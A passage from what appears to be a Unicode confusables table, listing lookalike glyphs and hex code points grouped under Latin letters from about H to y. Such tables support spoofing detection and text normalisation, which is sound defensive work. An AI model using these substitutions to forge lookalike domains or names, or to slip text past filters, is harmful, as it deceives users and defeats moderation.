A4E7 -𐋏 102CF -H FF28 -ℋ 210B -ℌ 210C -ℍ 210D -𝐇 1D407 -𝐻 1D43B -𝑯 1D46F -𝓗 1D4D7 -𝕳 1D573 -𝖧 1D5A7 -𝗛 1D5DB -𝘏 1D60F -𝙃 1D643 -𝙷 1D677 -𝚮 1D6AE -𝛨 1D6E8 -𝜢 1D722 -𝝜 1D75C -𝞖 1D796 -H̦ 0048 -Н̦ 041D -Н̡ 041D -Ӈ 04C7 -Ӊ 04C9 -H̩ 0048 -Н̩ 041D -Ⱨ 2C67 -Ң 04A2 -H̵ 0048 -Ħ 0126 -III 0049 -lll 006C -Ⅲ 2162 -IJ 0049 -lJ 006C -IJ 0132 -IO 0049 -lO 006C -Ю 042E -IV 0049 -lV 006C -Ⅳ 2163 -IX 0049 -lX 006C -Ⅸ 2168 -I̵ 0049 -l̵ 006C -Ɨ 0197 -ƚ 019A -I̵I̵ 0049 -l̵l̵ 006C -I̶I̶ 0049 -𐆙 10199 -I̵I̵S̵ 0049 -l̵l̵S̵ 006C -I̶I̶S̶ 0049 -𐆘 10198 -J 004A -Ј 0408 -Ꭻ 13AB -ᒍ 148D -ꓙ A4D9 -Ϳ 037F -Ʝ A7B2 -J FF2A -𝐉 1D409 -𝐽 1D43D -𝑱 1D471 -𝒥 1D4A5 -𝓙 1D4D9 -𝔍 1D50D -𝕁 1D541 -𝕵 1D575 -𝖩 1D5A9 -𝗝 1D5DD -𝘑 1D611 -𝙅 1D645 -𝙹 1D679 -J· 004A -Ꭻ· 13AB -ᒍ· 148D -ᒍᐧ 148D -ᒙ 1499 -J̵ 004A -Ɉ 0248 -K 004B -Κ 039A -К 041A -Ꮶ 13E6 -ᛕ 16D5 -Ⲕ 2C94 -ꓗ A4D7 -𐔘 10518 -K 212A -K FF2B -𝐊 1D40A -𝐾 1D43E -𝑲 1D472 -𝒦 1D4A6 -𝓚 1D4DA -𝔎 1D50E -𝕂 1D542 -𝕶 1D576 -𝖪 1D5AA -𝗞 1D5DE -𝘒 1D612 -𝙆 1D646 -𝙺 1D67A -𝚱 1D6B1 -𝛫 1D6EB -𝜥 1D725 -𝝟 1D75F -𝞙 1D799 -K' 004B -Kʽ 004B -Ƙ 0198 -K̩ 004B -К̩ 041A -Ⱪ 2C69 -Қ 049A -K̵ 004B -K̶ 004B -К̵ 041A -Ꝁ A740 -Ҟ 049E -₭ 20AD -L 004C -Ꮮ 13DE -ᒪ 14AA -Ⳑ 2CD0 -ꓡ A4E1 -𐐛 1041B -𖼖 16F16 -𝈪 1D22A -𐔦 10526 -𑢣 118A3 -𑢲 118B2 -Ⅼ 216C -ℒ 2112 -𝐋 1D40B -𝐿 1D43F -𝑳 1D473 -𝓛 1D4DB -𝔏 1D50F -𝕃 1D543 -𝕷 1D577 -𝖫 1D5AB -𝗟 1D5DF -𝘓 1D613 -𝙇 1D647 -𝙻 1D67B -LJ 004C -LJ 01C7 -Lj 004C -Lj 01C8 -L̷ 004C -L̸ 004C -Ł 0141 -M 004D -Μ 039C -М 041C -Ϻ 03FA -Ꮇ 13B7 -ᗰ 15F0 -ᛖ 16D6 -Ⲙ 2C98 -ꓟ A4DF -𐊰 102B0 -𐌑 10311 -Ⅿ 216F -M FF2D -ℳ 2133 -𝐌 1D40C -𝑀 1D440 -𝑴 1D474 -𝓜 1D4DC -𝔐 1D510 -𝕄 1D544 -𝕸 1D578 -𝖬 1D5AC -𝗠 1D5E0 -𝘔 1D614 -𝙈 1D648 -𝙼 1D67C -𝚳 1D6B3 -𝛭 1D6ED -𝜧 1D727 -𝝡 1D761 -𝞛 1D79B -MB 004D -🝫 1F76B -M̦ 004D -М̦ 041C -М̡ 041C -Ӎ 04CD -N 004E -Ν 039D -Ⲛ 2C9A -ꓠ A4E0 -𐔓 10513 -N FF2E -ℕ 2115 -𝐍 1D40D -𝑁 1D441 -𝑵 1D475 -𝒩 1D4A9 -𝓝 1D4DD -𝔑 1D511 -𝕹 1D579 -𝖭 1D5AD -𝗡 1D5E1 -𝘕 1D615 -𝙉 1D649 -𝙽 1D67D -𝚴 1D6B4 -𝛮 1D6EE -𝜨 1D728 -𝝢 1D762 -𝞜 1D79C -NJ 004E -NJ 01CA -Nj 004E -Nj 01CB -No 004E -№ 2116 -N̊ 004E -Ν̊ 039D -Νͦ 039D -𐆎 1018E -N̡ 004E -N̦ 004E -Ɲ 019D -O' 004F -Oʼ 004F -Ꭴ 13A4 -Ơ 01A0 -OE 004F -Œ 0152 -OO 004F -Ꝏ A74E -Ꚙ A698 -O̸ 004F -Ø 00D8 -ⵁ 2D41 -Ó̸ 004F -Ǿ 01FE -P 0050 -Ρ 03A1 -Р 0420 -Ꮲ 13E2 -ᑭ 146D -Ⲣ 2CA2 -ꓑ A4D1 -𐊕 10295 -P FF30 -ℙ 2119 -𝐏 1D40F -𝑃 1D443 -𝑷 1D477 -𝒫 1D4AB -𝓟 1D4DF -𝔓 1D513 -𝕻 1D57B -𝖯 1D5AF -𝗣 1D5E3 -𝘗 1D617 -𝙋 1D64B -𝙿 1D67F -𝚸 1D6B8 -𝛲 1D6F2 -𝜬 1D72C -𝝦 1D766 -𝞠 1D7A0 -P' 0050 -ᑭᑊ 146D -Ꮲ' 13E2 -ᑭ' 146D -ᒆ 1486 -P· 0050 -p· 0070 -pᐧ 0070 -Ꮲ· 13E2 -ᑭ· 146D -ᑭᐧ 146D -ᑷ 1477 -Q 0051 -ⵕ 2D55 -ℚ 211A -𝐐 1D410 -𝑄 1D444 -𝑸 1D478 -𝒬 1D4AC -𝓠 1D4E0 -𝔔 1D514 -𝕼 1D57C -𝖰 1D5B0 -𝗤 1D5E4 -𝘘 1D618 -𝙌 1D64C -𝚀 1D680 -QE 0051 -🜀 1F700 -R 0052 -Ʀ 01A6 -Ꭱ 13A1 -Ꮢ 13D2 -ᖇ 1587 -ꓣ A4E3 -𖼵 16F35 -𝈖 1D216 -𐒴 104B4 -ℛ 211B -ℜ 211C -ℝ 211D -𝐑 1D411 -𝑅 1D445 -𝑹 1D479 -𝓡 1D4E1 -𝕽 1D57D -𝖱 1D5B1 -𝗥 1D5E5 -𝘙 1D619 -𝙍 1D64D -𝚁 1D681 -Rs 0052 -₨ 20A8 -S 0053 -Ѕ 0405 -Տ 054F -Ꮥ 13D5 -Ꮪ 13DA -ꓢ A4E2 -𐊖 10296 -𐐠 10420 -𖼺 16F3A -S FF33 -𝐒 1D412 -𝑆 1D446 -𝑺 1D47A -𝒮 1D4AE -𝓢 1D4E2 -𝔖 1D516 -𝕊 1D54A -𝕾 1D57E -𝖲 1D5B2 -𝗦 1D5E6 -𝘚 1D61A -𝙎 1D64E -𝚂 1D682 -T 0054 -Τ 03A4 -Т 0422 -Ꭲ 13A2 -Ⲧ 2CA6 -ꓔ A4D4 -𐊗 10297 -𐊱 102B1 -𐌕 10315 -𖼊 16F0A -⊤ 22A4 -⟙ 27D9 -🝨 1F768 -𑢼 118BC -T FF34 -𝐓 1D413 -𝑇 1D447 -𝑻 1D47B -𝒯 1D4AF -𝓣 1D4E3 -𝔗 1D517 -𝕋 1D54B -𝕿 1D57F -𝖳 1D5B3 -𝗧 1D5E7 -𝘛 1D61B -𝙏 1D64F -𝚃 1D683 -𝚻 1D6BB -𝛵 1D6F5 -𝜯 1D72F -𝝩 1D769 -𝞣 1D7A3 -T3 0054 -TƷ 0054 -Ꜩ A728 -TEL 0054 -℡ 2121 -T̈ 0054 -Ꭲ̈ 13A2 -ꓔ̈ A4D4 -⊤̈ 22A4 -⍡ 2361 -T̨ 0054 -Ʈ 01AE -T̩ 0054 -Т̩ 0422 -Ҭ 04AC -T̵ 0054 -Ŧ 0166 -T̸ 0054 -Ⱦ 023E -T⃫ 0054 -Т⃫ 0422 -₮ 20AE -U 0055 -ሀ 1200 -Ս 054D -ᑌ 144C -ꓴ A4F4 -𖽂 16F42 -∪ 222A -⋃ 22C3 -𑢸 118B8 -𐓎 104CE -𝐔 1D414 -𝑈 1D448 -𝑼 1D47C -𝒰 1D4B0 -𝓤 1D4E4 -𝔘 1D518 -𝕌 1D54C -𝖀 1D580 -𝖴 1D5B4 -𝗨 1D5E8 -𝘜 1D61C -𝙐 1D650 -𝚄 1D684 -U' 0055 -ᑌᑊ 144C -ሀ' 1200 -ᑌ' 144C -ᑧ 1467 -U+= 0055 -U+〓 0055 -U· 0055 -ሀ· 1200 -ᑌ· 144C -ᑌᐧ 144C -ᑘ 1458 -U̵ 0055 -U̶ 0055 -Ʉ 0244 -Ꮜ 13CC -V 0056 -٧ 0667 -۷ 06F7 -Ѵ 0474 -Ꮩ 13D9 -ᐯ 142F -ⴸ 2D38 -ꓦ A4E6 -ꛟ A6DF -𖼈 16F08 -𝈍 1D20D -𐔝 1051D -𑢠 118A0 -Ⅴ 2164 -𝐕 1D415 -𝑉 1D449 -𝑽 1D47D -𝒱 1D4B1 -𝓥 1D4E5 -𝔙 1D519 -𝕍 1D54D -𝖁 1D581 -𝖵 1D5B5 -𝗩 1D5E9 -𝘝 1D61D -𝙑 1D651 -𝚅 1D685 -VB 0056 -🝬 1F76C -VI 0056 -Vl 0056 -Ⅵ 2165 -VII 0056 -Vll 0056 -Ⅶ 2166 -VIII 0056 -Vlll 0056 -Ⅷ 2167 -V· 0056 -٧· 0667 -ᐯ· 142F -ᐯᐧ 142F -ᐻ 143B -V̵ 0056 -V̶ 0056 -𐆗 10197 -Vᷤ 0056 -🜈 1F708 -W 0057 -Ԝ 051C -Ꮃ 13B3 -Ꮤ 13D4 -ꓪ A4EA -𑣦 118E6 -𑣯 118EF -𝐖 1D416 -𝑊 1D44A -𝑾 1D47E -𝒲 1D4B2 -𝓦 1D4E6 -𝔚 1D51A -𝕎 1D54E -𝖂 1D582 -𝖶 1D5B6 -𝗪 1D5EA -𝘞 1D61E -𝙒 1D652 -𝚆 1D686 -W̵ 0057 -W̶ 0057 -₩ 20A9 -X 0058 -Χ 03A7 -Х 0425 -ᚷ 16B7 -Ⲭ 2CAC -ⵝ 2D5D -ꓫ A4EB -𐊐 10290 -𐊴 102B4 -𐌗 10317 -᙭ 166D -╳ 2573 -𐌢 10322 -𐔧 10527 -𑣬 118EC -Ꭓ A7B3 -Ⅹ 2169 -X FF38 -𝐗 1D417 -𝑋 1D44B -𝑿 1D47F -𝒳 1D4B3 -𝓧 1D4E7 -𝔛 1D51B -𝕏 1D54F -𝖃 1D583 -𝖷 1D5B7 -𝗫 1D5EB -𝘟 1D61F -𝙓 1D653 -𝚇 1D687 -𝚾 1D6BE -𝛸 1D6F8 -𝜲 1D732 -𝝬 1D76C -𝞦 1D7A6 -XI 0058 -Xl 0058 -Ⅺ 216A -XII 0058 -Xll 0058 -Ⅻ 216B -X̩ 0058 -Х̩ 0425 -Ҳ 04B2 -X̵ 0058 -X̶ 0058 -𐆖 10196 -Y 0059 -Υ 03A5 -У 0423 -Ү 04AE -Ꭹ 13A9 -Ꮍ 13BD -Ⲩ 2CA8 -ꓬ A4EC -𐊲 102B2 -𖽃 16F43 -𑢤 118A4 -Y FF39 -ϒ 03D2 -𝐘 1D418 -𝑌 1D44C -𝒀 1D480 -𝒴 1D4B4 -𝓨 1D4E8 -𝔜 1D51C -𝕐 1D550 -𝖄 1D584 -𝖸 1D5B8 -𝗬 1D5EC -𝘠 1D620 -𝙔 1D654 -𝚈 1D688 -𝚼 1D6BC -𝛶 1D6F6 -𝜰 1D730 -𝝪 1D76A -𝞤 1D7A4 -Y̵ 0059 -У̵ 0423 -Ү̵ 04AE -Ɏ 024E -Ұ 04B0 -¥ 00A5 -Z 005A -Ζ 0396 -Ꮓ 13C3 -ꓜ A4DC -𑢩 118A9 -𑣥 118E5 -𐋵 102F5 -Z FF3A -ℤ 2124 -ℨ 2128 -𝐙 1D419 -𝑍 1D44D -𝒁 1D481 -𝒵 1D4B5 -𝓩 1D4E9 -𝖅 1D585 -𝖹 1D5B9 -𝗭 1D5ED -𝘡 1D621 -𝙕 1D655 -𝚉 1D689 -𝚭 1D6AD -𝛧 1D6E7 -𝜡 1D721 -𝝛 1D75B -𝞕 1D795 -Z̦ 005A -Z̧ 005A -Ȥ 0224 -Z̵ 005A -Ƶ 01B5 -\ 005C -丶 4E36 -∖ 2216 -⟍ 27CD -⧵ 29F5 -⧹ 29F9 -㇔ 31D4 -𝈏 1D20F -𝈻 1D23B -⼂ 2F02 -﹨ FE68 -\ FF3C -\\ 005C -⑊ 244A -⳹ 2CF9 -\ᑕ 005C -\⊂ 005C -⟈ 27C8 -^ 005E -ˆ 02C6 -˄ 02C4 -_ 005F -ߺ 07FA -﹍ FE4D -﹎ FE4E -﹏ FE4F -a 0061 -ɑ 0251 -α 03B1 -а 0430 -⍺ 237A -a FF41 -𝐚 1D41A -𝑎 1D44E -𝒂 1D482 -𝒶 1D4B6 -𝓪 1D4EA -𝔞 1D51E -𝕒 1D552 -𝖆 1D586 -𝖺 1D5BA -𝗮 1D5EE -𝘢 1D622 -𝙖 1D656 -𝚊 1D68A -𝛂 1D6C2 -𝛼 1D6FC -𝜶 1D736 -𝝰 1D770 -𝞪 1D7AA -a/c 0061 -ᵃ/c 1D43 -ᵃ⁄c 1D43 -℀ 2100 -a/s 0061 -ᵃ/ₛ 1D43 -ᵃ⁄ₛ 1D43 -℁ 2101 -aa 0061 -ꜳ A733 -ae 0061 -ае 0430 -æ 00E6 -ӕ 04D5 -ao 0061 -ꜵ A735 -au 0061 -ꜷ A737 -av 0061 -ꜹ A739 -ꜻ A73B -ay 0061 -ꜽ A73D -a̲ 0061 -ɑ̲ 0251 -α̲ 03B1 -⍶ 2376 -b 0062 -Ƅ 0184 -Ь 042C -Ꮟ 13CF -ᑲ 1472 -ᖯ 15AF -𝐛 1D41B -𝑏 1D44F -𝒃 1D483 -𝒷 1D4B7 -𝓫 1D4EB -𝔟 1D51F -𝕓 1D553 -𝖇 1D587 -𝖻 1D5BB -𝗯 1D5EF -𝘣 1D623 -𝙗 1D657 -𝚋 1D68B -b' 0062 -ᑲᑊ 1472 -ᑲ' 1472 -ᒈ 1488 -bl 0062 -Ьl 042C -Ь1 042C -ЬІ 042C -Ы 042B -b· 0062 -ᑲ· 1472 -ᑲᐧ 1472 -ᑿ 147F -b̄ 0062 -Ƃ 0182 -ƃ 0183 -Б 0411 -ḃ 0062 -ᑳ 1473 -ḃ· 0062 -ᑳ· 1473 -ᑳᐧ 1473 -ᒁ 1481 -b̔ 0062 -ɓ 0253 -b̵ 0062 -Ь̵ 042C -ƀ 0180 -ҍ 048D -Ҍ 048C -Ѣ 0462 -ѣ 0463 -c 0063 -ᴄ 1D04 -с 0441 -ⲥ 2CA5 -𐐽 1043D -ꮯ ABAF -ⅽ 217D -c FF43 -ϲ 03F2 -𝐜 1D41C -𝑐 1D450 -𝒄 1D484 -𝒸 1D4B8 -𝓬 1D4EC -𝔠 1D520 -𝕔 1D554 -𝖈 1D588 -𝖼 1D5BC -𝗰 1D5F0 -𝘤 1D624 -𝙘 1D658 -𝚌 1D68C -c/o 0063 -ᶜ/₀ 1D9C -ᶜ⁄₀ 1D9C -℅ 2105 -c/u 0063 -ᶜ/ᵤ 1D9C -ᶜ⁄ᵤ 1D9C -℆ 2106 -c̦ 0063 -с̦ 0441 -с̡ 0441 -ҫ 04AB -ç 00E7 -c̸ 0063 -ȼ 023C -¢ 00A2 -d 0064 -ԁ 0501 -Ꮷ 13E7 -ᑯ 146F -ꓒ A4D2 -ⅾ 217E -ⅆ 2146 -𝐝 1D41D -𝑑 1D451 -𝒅 1D485 -𝒹 1D4B9 -𝓭 1D4ED -𝔡 1D521 -𝕕 1D555 -𝖉 1D589 -𝖽 1D5BD -𝗱 1D5F1 -𝘥 1D625 -𝙙 1D659 -𝚍 1D68D -d' 0064 -ᑯᑊ 146F -ᑯ' 146F -ᒇ 1487 -dz 0064 -ʣ 02A3 -dz 01F3 -d· 0064 -ᑯ· 146F -ᑯᐧ 146F -ᑻ 147B -dž 0064 -dž 01C6 -dȝ 0064 -dʒ 0064 -ʤ 02A4 -dʑ 0064 -ʥ 02A5 -d̄ 0064 -ƌ 018C -d̔ 0064 -ɗ 0257 -d̢ 0064 -d̨ 0064 -ɖ 0256 -d̵ 0064 -đ 0111 -ḏ̵ 0064 -đ̱ 0111 -₫ 20AB -e 0065 -е 0435 -ҽ 04BD -℮ 212E -ꬲ AB32 -e FF45 -ℯ 212F -ⅇ 2147 -𝐞 1D41E -𝑒 1D452 -𝒆 1D486 -𝓮 1D4EE -𝔢 1D522 -𝕖 1D556 -𝖊 1D58A -𝖾 1D5BE -𝗲 1D5F2 -𝘦 1D626 -𝙚 1D65A -𝚎 1D68E -ę 0065 -е̨ 0435 -ҽ̢ 04BD -ҿ 04BF -e̷ 0065 -e̸ 0065 -ɇ 0247 -f 0066 -ẝ 1E9D -ք 0584 -ꞙ A799 -ꬵ AB35 -ſ 017F -𝐟 1D41F -𝑓 1D453 -𝒇 1D487 -𝒻 1D4BB -𝓯 1D4EF -𝔣 1D523 -𝕗 1D557 -𝖋 1D58B -𝖿 1D5BF -𝗳 1D5F3 -𝘧 1D627 -𝙛 1D65B -𝚏 1D68F -ff 0066 -ff FB00 -ffi 0066 -ffi FB03 -ffl 0066 -ffl FB04 -fi 0066 -fi FB01 -fl 0066 -fl FB02 -fŋ 0066 -ʩ 02A9 -f̡ 0066 -f̦ 0066 -ƒ 0192 -f̴ 0066 -ᵮ 1D6E -g 0067 -ƍ 018D -ɡ 0261 -ᶃ 1D83 -ց 0581 -g FF47 -ℊ 210A -𝐠 1D420 -𝑔 1D454 -𝒈 1D488 -𝓰 1D4F0 -𝔤 1D524 -𝕘 1D558 -𝖌 1D58C -𝗀 1D5C0 -𝗴 1D5F4 -𝘨 1D628 -𝙜 1D65C -𝚐 1D690 -g̔ 0067 -ɠ 0260 -g̵ 0067 -ǥ 01E5 -h 0068 -һ 04BB -հ 0570 -Ꮒ 13C2 -h FF48 -ℎ 210E -𝐡 1D421 -𝒉 1D489 -𝒽 1D4BD -𝓱 1D4F1 -𝔥 1D525 -𝕙 1D559 -𝖍 1D58D -𝗁 1D5C1 -𝗵 1D5F5 -𝘩 1D629 -𝙝 1D65D -𝚑 1D691 -h̔ 0068 -ɦ 0266 -Ᏺ 13F2 -ꚕ A695 -h̵ 0068 -һ̵ 04BB -ħ 0127 -ћ 045B -ℏ 210F -i 0069 -ı 0131 -ɩ 0269 -ɪ 026A -ι 03B9 -і 0456 -ӏ 04CF -Ꭵ 13A5 -ꙇ A647 -⍳ 2373 -𑣃 118C3 -ꭵ AB75 -ⅰ 2170 -i FF49 -ι 1FBE -ℹ 2139 -ⅈ 2148 -𝐢 1D422 -𝑖 1D456 -𝒊 1D48A -𝒾 1D4BE -𝓲 1D4F2 -𝔦 1D526 -𝕚 1D55A -𝖎 1D58E -𝗂 1D5C2 -𝗶 1D5F6 -𝘪 1D62A -𝙞 1D65E -𝚒 1D692 -𝚤 1D6A4 -𝛊 1D6CA -𝜄 1D704 -𝜾 1D73E -𝝸 1D778 -𝞲 1D7B2 -˛ 02DB -ͺ 037A -ii 0069 -ⅱ 2171 -iii 0069 -ⅲ 2172 -ij 0069 -ij 0133 -iv 0069 -ⅳ 2173 -ix 0069 -ⅸ 2178 -i̲ 0069 -ι̲ 03B9 -⍸ 2378 -i̵ 0069 -ɩ̵ 0269 -ɪ̵ 026A -ɨ 0268 -ᵻ 1D7B -ᵼ 1D7C -j 006A -ј 0458 -ϳ 03F3 -j FF4A -ⅉ 2149 -𝐣 1D423 -𝑗 1D457 -𝒋 1D48B -𝒿 1D4BF -𝓳 1D4F3 -𝔧 1D527 -𝕛 1D55B -𝖏 1D58F -𝗃 1D5C3 -𝗷 1D5F7 -𝘫 1D62B -𝙟 1D65F -𝚓 1D693 -j̵ 006A -ɉ 0249 -k 006B -𝐤 1D424 -𝑘 1D458 -𝒌 1D48C -𝓀 1D4C0 -𝓴 1D4F4 -𝔨 1D528 -𝕜 1D55C -𝖐 1D590 -𝗄 1D5C4 -𝗸 1D5F8 -𝘬 1D62C -𝙠 1D660 -𝚔 1D694 -k̔ 006B -ƙ 0199 -lj 006C -lj 01C9 -ls 006C -ʪ 02AA -lt 006C -₶ 20B6 -lz 006C -ʫ 02AB -lȝ 006C -lʒ 006C -ɮ 026E -l̢ 006C -l̨ 006C -ɭ 026D -l̴ 006C -ɫ 026B -l̷ 006C -l̸ 006C -ł 0142 -m 006D -rn 0072 -𑣣 118E3 -𑜀 11700 -ⅿ 217F -𝐦 1D426 -𝑚 1D45A -𝒎 1D48E -𝓂 1D4C2 -𝓶 1D4F6 -𝔪 1D52A -𝕞 1D55E -𝖒 1D592 -𝗆 1D5C6 -𝗺 1D5FA -𝘮 1D62E -𝙢 1D662 -𝚖 1D696 -m̡ 006D -rn̦ 0072 -ɱ 0271 -m̴ 006D -rn̴ 0072 -ᵯ 1D6F -m̷ 006D -rn̸ 0072 -₥ 20A5 -n 006E -ո 0578 -ռ 057C -𝐧 1D427 -𝑛 1D45B -𝒏 1D48F -𝓃 1D4C3 -𝓷 1D4F7 -𝔫 1D52B -𝕟 1D55F -𝖓 1D593 -𝗇 1D5C7 -𝗻 1D5FB -𝘯 1D62F -𝙣 1D663 -𝚗 1D697 -nj 006E -nj 01CC -n̢ 006E -n̨ 006E -ɳ 0273 -n̩ 006E -ƞ 019E -η 03B7 -𝛈 1D6C8 -𝜂 1D702 -𝜼 1D73C -𝝶 1D776 -𝞰 1D7B0 -n̴ 006E -ᵰ 1D70 -o 006F -ᴏ 1D0F -ᴑ 1D11 -ο 03BF -σ 03C3 -о 043E -օ 0585 -ס 05E1 -ه 0647 -٥ 0665 -ھ 06BE -ہ 06C1 -ە 06D5 -۵ 06F5 -० 0966 -੦ 0A66 -૦ 0AE6 -௦ 0BE6 -ం 0C02 -౦ 0C66 -ಂ 0C82 -೦ 0CE6 -ം 0D02 -ഠ 0D20 -൦ 0D66 -ං 0D82 -๐ 0E50 -໐ 0ED0 -ဝ 101D -၀ 1040 -ჿ 10FF -ⲟ 2C9F -𐐬 1042C -ꬽ AB3D -𑣈 118C8 -𑣗 118D7 -𐓪 104EA -o FF4F -ℴ 2134 -ﮦ FBA6 -ﮧ FBA7 -ﮨ FBA8 -ﮩ FBA9 -ﮪ FBAA -ﮫ FBAB -ﮬ FBAC -ﮭ FBAD -ﻩ FEE9 -ﻪ FEEA -ﻫ FEEB -ﻬ FEEC -𝐨 1D428 -𝑜 1D45C -𝒐 1D490 -𝓸 1D4F8 -𝔬 1D52C -𝕠 1D560 -𝖔 1D594 -𝗈 1D5C8 -𝗼 1D5FC -𝘰 1D630 -𝙤 1D664 -𝚘 1D698 -𝛐 1D6D0 -𝛔 1D6D4 -𝜊 1D70A -𝜎 1D70E -𝝄 1D744 -𝝈 1D748 -𝝾 1D77E -𝞂 1D782 -𝞸 1D7B8 -𝞼 1D7BC -𞸤 1EE24 -𞹤 1EE64 -𞺄 1EE84 -o' 006F -oʼ 006F -ơ 01A1 -oe 006F -œ 0153 -oo 006F -ꝏ A74F -∞ 221E -ꚙ A699 -ô 006F -ه̂ 0647 -ھٛ 06BE -ۿ 06FF -ơ 006F -ꭴ AB74 -o̵ 006F -o̶ 006F -о̵ 043E -ɵ 0275 -ꝋ A74B -ө 04E9 -ѳ 0473 -ꮎ AB8E -ꮻ ABBB -o̷ 006F -o̸ 006F -ø 00F8 -ꬾ AB3E -oج 006F -هج 0647 -ﱑ FC51 -ﳗ FCD7 -oم 006F -هم 0647 -ﱒ FC52 -ﳘ FCD8 -oمج 006F -همج 0647 -ﶓ FD93 -oمم 006F -همم 0647 -ﶔ FD94 -oى 006F -هى 0647 -هي 0647 -ﱓ FC53 -ﱔ FC54 -oٰ 006F -هٰ 0647 -ﳙ FCD9 -oരo 006F -ംരം 0D02 -൦ര൦ 0D66 -ൟ 0D5F -oာ 006F -ဝာ 101D -တ 1010 -oᴇ 006F -ɶ 0276 -p 0070 -ρ 03C1 -р 0440 -ⲣ 2CA3 -⍴ 2374 -p FF50 -ϱ 03F1 -𝐩 1D429 -𝑝 1D45D -𝒑 1D491 -𝓅 1D4C5 -𝓹 1D4F9 -𝔭 1D52D -𝕡 1D561 -𝖕 1D595 -𝗉 1D5C9 -𝗽 1D5FD -𝘱 1D631 -𝙥 1D665 -𝚙 1D699 -𝛒 1D6D2 -𝛠 1D6E0 -𝜌 1D70C -𝜚 1D71A -𝝆 1D746 -𝝔 1D754 -𝞀 1D780 -𝞎 1D78E -𝞺 1D7BA -𝟈 1D7C8 -p̔ 0070 -ƥ 01A5 -p̵ 0070 -ᵽ 1D7D -q 0071 -ԛ 051B -գ 0563 -զ 0566 -𝐪 1D42A -𝑞 1D45E -𝒒 1D492 -𝓆 1D4C6 -𝓺 1D4FA -𝔮 1D52E -𝕢 1D562 -𝖖 1D596 -𝗊 1D5CA -𝗾 1D5FE -𝘲 1D632 -𝙦 1D666 -𝚚 1D69A -q̔ 0071 -ʠ 02A0 -r 0072 -г 0433 -ᴦ 1D26 -ⲅ 2C85 -ꭇ AB47 -ꭈ AB48 -ꮁ AB81 -𝐫 1D42B -𝑟 1D45F -𝒓 1D493 -𝓇 1D4C7 -𝓻 1D4FB -𝔯 1D52F -𝕣 1D563 -𝖗 1D597 -𝗋 1D5CB -𝗿 1D5FF -𝘳 1D633 -𝙧 1D667 -𝚛 1D69B -r' 0072 -гˈ 0433 -г' 0433 -ґ 0491 -r̨ 0072 -ɽ 027D -r̩ 0072 -ɼ 027C -r̴ 0072 -ᵲ 1D72 -r̵ 0072 -г̵ 0433 -ɍ 024D -ғ 0493 -s 0073 -ƽ 01BD -ꜱ A731 -ѕ 0455 -𐑈 10448 -𑣁 118C1 -ꮪ ABAA -s FF53 -𝐬 1D42C -𝑠 1D460 -𝒔 1D494 -𝓈 1D4C8 -𝓼 1D4FC -𝔰 1D530 -𝕤 1D564 -𝖘 1D598 -𝗌 1D5CC -𝘀 1D600 -𝘴 1D634 -𝙨 1D668 -𝚜 1D69C -sss 0073 -🝜 1F75C -st 0073 -st FB06 -s̨ 0073 -ʂ 0282 -s̴ 0073 -ᵴ 1D74 -t 0074 -𝐭 1D42D -𝑡 1D461 -𝒕 1D495 -𝓉 1D4C9 -𝓽 1D4FD -𝔱 1D531 -𝕥 1D565 -𝖙 1D599 -𝗍 1D5CD -𝘁 1D601 -𝘵 1D635 -𝙩 1D669 -𝚝 1D69D -tf 0074 -ꝷ A777 -ts 0074 -ʦ 02A6 -tȝ 0074 -ꜩ A729 -tɕ 0074 -ʨ 02A8 -tʃ 0074 -ʧ 02A7 -t̔ 0074 -ƭ 01AD -t̴ 0074 -ᵵ 1D75 -t̵ 0074 -ŧ 0167 -u 0075 -ʋ 028B -ᴜ 1D1C -υ 03C5 -ս 057D -ꞟ A79F -ꭎ AB4E -ꭒ AB52 -𑣘 118D8 -𐓶 104F6 -𝐮 1D42E -𝑢 1D462 -𝒖 1D496 -𝓊 1D4CA -𝓾 1D4FE -𝔲 1D532 -𝕦 1D566 -𝖚 1D59A -𝗎 1D5CE -𝘂 1D602 -𝘶 1D636 -𝙪 1D66A -𝚞 1D69E -𝛖 1D6D6 -𝜐 1D710 -𝝊 1D74A -𝞄 1D784 -𝞾 1D7BE -ue 0075 -ᵫ 1D6B -uo 0075 -ꭣ AB63 -u̵ 0075 -ᴜ̵ 1D1C -ᵾ 1D7E -ꮜ AB9C -v 0076 -ᴠ 1D20 -ν 03BD -ט 05D8 -ѵ 0475 -∨ 2228 -⋁ 22C1 -𑣀 118C0 -ꮩ ABA9 -𑜆 11706 -ⅴ 2174 -v FF56 -𝐯 1D42F -𝑣 1D463 -𝒗 1D497 -𝓋 1D4CB -𝓿 1D4FF -𝔳 1D533 -𝕧 1D567 -𝖛 1D59B -𝗏 1D5CF -𝘃 1D603 -𝘷 1D637 -𝙫 1D66B -𝚟 1D69F -𝛎 1D6CE -𝜈 1D708 -𝝂 1D742 -𝝼 1D77C -𝞶 1D7B6 -vi 0076 -ⅵ 2175 -vii 0076 -ⅶ 2176 -viii 0076 -ⅷ 2177 -w 0077 -ɯ 026F -ᴡ 1D21 -ԝ 051D -ա 0561 -ѡ 0461 -ꮃ AB83 -𑜊 1170A -𑜎 1170E -𑜏 1170F -𝐰 1D430 -𝑤 1D464 -𝒘 1D498 -𝓌 1D4CC -𝔀 1D500 -𝔴 1D534 -𝕨 1D568 -𝖜 1D59C -𝗐 1D5D0 -𝘄 1D604 -𝘸 1D638 -𝙬 1D66C -𝚠 1D6A0 -ẇ 0077 -𑓅 114C5 -w̡ 0077 -w̦ 0077 -ꝡ A761 -w҃ 0077 -w҆҇ 0077 -ѡ҆҇ 0461 -ԝ҆҇ 051D -ѡ҃ 0461 -ԝ҃ 051D -ѽ 047D -x 0078 -х 0445 -ᕁ 1541 -ᕽ 157D -× 00D7 -᙮ 166E -⤫ 292B -⤬ 292C -⨯ 2A2F -ⅹ 2179 -x FF58 -𝐱 1D431 -𝑥 1D465 -𝒙 1D499 -𝓍 1D4CD -𝔁 1D501 -𝔵 1D535 -𝕩 1D569 -𝖝 1D59D -𝗑 1D5D1 -𝘅 1D605 -𝘹 1D639 -𝙭 1D66D -𝚡 1D6A1 -xi 0078 -ⅺ 217A -xii 0078 -ⅻ 217B -ẋ 0078 -×̇ 00D7 -⨰ 2A30 -y 0079 -ɣ 0263 -ʏ 028F -ᶌ 1D8C -ỿ 1EFF -γ 03B3 -у 0443 -ү 04AF -ყ 10E7 -ꭚ AB5A -𑣜 118DC -y FF59 -ℽ 213D -𝐲 1D432 -𝑦 1D466 -𝒚 1D49A -𝓎 1D4CE -𝔂 1D502 -𝔶 1D536 -𝕪 1D56A -𝖞 1D59E -𝗒 1D5D2 -𝘆 1D606 -𝘺 1D63A -𝙮 